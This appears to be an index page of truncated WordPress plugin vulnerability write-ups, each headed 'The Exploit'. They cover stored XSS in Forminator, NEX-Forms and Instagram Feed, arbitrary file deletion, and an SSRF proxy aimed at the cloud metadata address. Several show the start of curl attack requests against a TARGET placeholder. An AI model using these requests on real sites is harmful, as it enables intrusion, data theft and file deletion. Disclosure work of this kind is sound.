## The Exploit An unauthenticated attacker can inject a stored XSS payload into a Rich-Text Textarea field; when a site administrator opens the submission in the Forminator Entries view and clicks a crafted link embedded in the stored data, the payload executes in the administra...
## The Exploit Any authenticated WordPress user, including a subscriber, can delete arbitrary files on the server by sending the following HTTP request. The attacker sets the `stm_user_avatar_path` POST parameter to a path outside the uplo...
Read article →## The Exploit Requires an authenticated contributor-level user or above to store a malicious `separatorIconSVG` block attribute. ```bash # store the malicious separatorIconSVG payload in a Gutenberg block curl -sk -X POST "https://target...
Read article →## The Exploit An authenticated contributor (or higher) can store script code in the Instagram Feed widget settings and make it execute for any later visitor. ```bash # Store the payload in the Instagram Feed widget configuration curl 'ht...
Read article →## The Exploit Unauthenticated attackers can abuse a public Forminator file-upload form with Save and Continue enabled by submitting a crafted `upload-1[file][file_path]` value pointing outside the uploads directory. ```bash curl 'http://...
Read article →## The Exploit Unauthenticated attackers can submit a malicious field value through the public `submit_nex_form` handler and later trigger it when the record display page renders saved submissions. ```bash curl -i -X POST 'http://TARGET/?...
Read article →## The Exploit Unauthenticated attackers can store a crafted placeholder string in any page-backed content that WP Meteor rewrites. ```bash curl -i -X POST "http://TARGET/wp-comments-post.php" \ -H "Content-Type: application/x-www-form-...
Read article →## The Exploit Attacker needs a valid WordPress account at Subscriber level or higher. ```bash curl -i -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Cookie: wordpress_...
Read article →## The Exploit The attacker only needs an authenticated WordPress administrator to load a malicious page. ```bash curl -i 'https://TARGET/wp-admin/admin.php?page=ffw_function_settings' \ -H 'Cookie: wordpress_logged_in_XXXXXXXXXXXXXXXXX...
Read article →## The Exploit No authentication required: any visitor can hit the plugin's proxy endpoint and make it fetch arbitrary URLs. ```bash curl -i -sS 'https://TARGET/template-proxy/?remote_url=http://169.254.169.254/latest/meta-data/instance-i...
Read article →